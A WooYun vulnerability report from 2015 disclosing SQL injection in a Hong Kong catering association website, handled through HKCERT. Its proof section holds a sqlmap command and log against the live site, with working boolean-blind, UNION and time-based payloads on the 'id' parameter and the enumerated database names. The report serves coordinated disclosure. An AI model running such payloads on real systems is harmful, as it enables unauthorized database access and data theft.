当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145602

漏洞标题:香港餐務管理協會官网SQL注入漏洞(香港地區)

相关厂商:hkcert香港互联网应急协调中心

漏洞作者: 路人甲

提交时间:2015-10-09 19:25

修复时间:2015-11-26 16:40

公开时间:2015-11-26 16:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-09: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

rt,支持下!

详细说明:

QQ截图20151009191016.jpg


QQ截图20151009191027.jpg

漏洞证明:

[root@Hacker~]# Sqlmap Sqlmap -u "http://**.**.**.**/chi_fruit.php?id=9&type=11" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:36:14
[18:36:15] [INFO] testing connection to the target URL
[18:36:18] [INFO] testing if the target URL is stable. This can take a couple of seconds
[18:36:19] [INFO] target URL is stable
[18:36:19] [INFO] testing if GET parameter 'id' is dynamic
[18:36:20] [INFO] confirming that GET parameter 'id' is dynamic
[18:36:20] [INFO] GET parameter 'id' is dynamic
[18:36:20] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[18:36:20] [INFO] testing for SQL injection on GET parameter 'id'
[18:36:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:36:21] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[18:36:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[18:36:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:36:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[18:36:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[18:36:27] [INFO] testing 'MySQL inline queries'
[18:36:27] [INFO] testing 'PostgreSQL inline queries'
[18:36:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[18:36:27] [INFO] testing 'Oracle inline queries'
[18:36:28] [INFO] testing 'SQLite inline queries'
[18:36:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:36:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:36:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:36:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:36:41] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[18:36:41] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[18:36:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[18:36:42] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[18:36:44] [INFO] target URL appears to have 55 columns in query
[18:37:05] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 96 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=9 AND 5093=5093&type=11
Type: UNION query
Title: MySQL UNION query (NULL) - 55 columns
Payload: id=-6473 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7179697671,0x47554d724677786b6f68,0x7168756271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&type=11
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=9 AND SLEEP(5)&type=11
---
[18:37:25] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, PHP 5.3.23, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0.11
[18:37:25] [INFO] fetching database names
[18:37:26] [WARNING] the SQL query provided does not return any output
[18:37:26] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:37:26] [INFO] fetching number of databases
[18:37:26] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:37:26] [INFO] retrieved: 5
[18:37:30] [INFO] retrieved: informa
[18:38:19] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
tion_schema
[18:39:24] [INFO] retrieved: fooddb-cms
[18:39:44] [INFO] retrieved: mysql
[18:39:55] [INFO] retrieved: performance_schema
[18:40:22] [INFO] retrieved: test
available databases [5]:
[*] `fooddb-cms`
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[18:40:29] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://**.**.**.**/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[18:40:29] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\**.**.**.**'

修复方案:

null

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-10-12 16:39

厂商回复:

已將事件通知有關機構

最新状态:

暂无